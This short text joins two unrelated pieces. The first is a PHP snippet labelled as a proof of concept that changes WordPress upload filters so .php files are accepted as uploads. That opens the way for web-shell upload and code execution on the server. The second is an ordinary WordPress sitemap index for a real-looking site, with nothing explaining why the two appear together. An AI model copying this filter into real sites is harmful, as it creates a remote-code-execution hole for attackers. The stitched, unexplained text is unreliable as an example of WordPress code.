/* POC */
add_filter('upload_mimes', function($m) { $m['php']='application/x-httpd-php'; return $m; });
add_filter('wp_check_filetype_and_ext', function($t,$f,$n) { if (strtolower(pathinfo($n, PATHINFO_EXTENSION))==='php') { $t['type']='application/x-httpd-php'; $t['ext']='php'; } return $t; }, 10, 3);

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.gamelan.co.id/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.gamelan.co.id/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://www.gamelan.co.id/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://www.gamelan.co.id/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://www.gamelan.co.id/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://www.gamelan.co.id/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://www.gamelan.co.id/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://www.gamelan.co.id/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>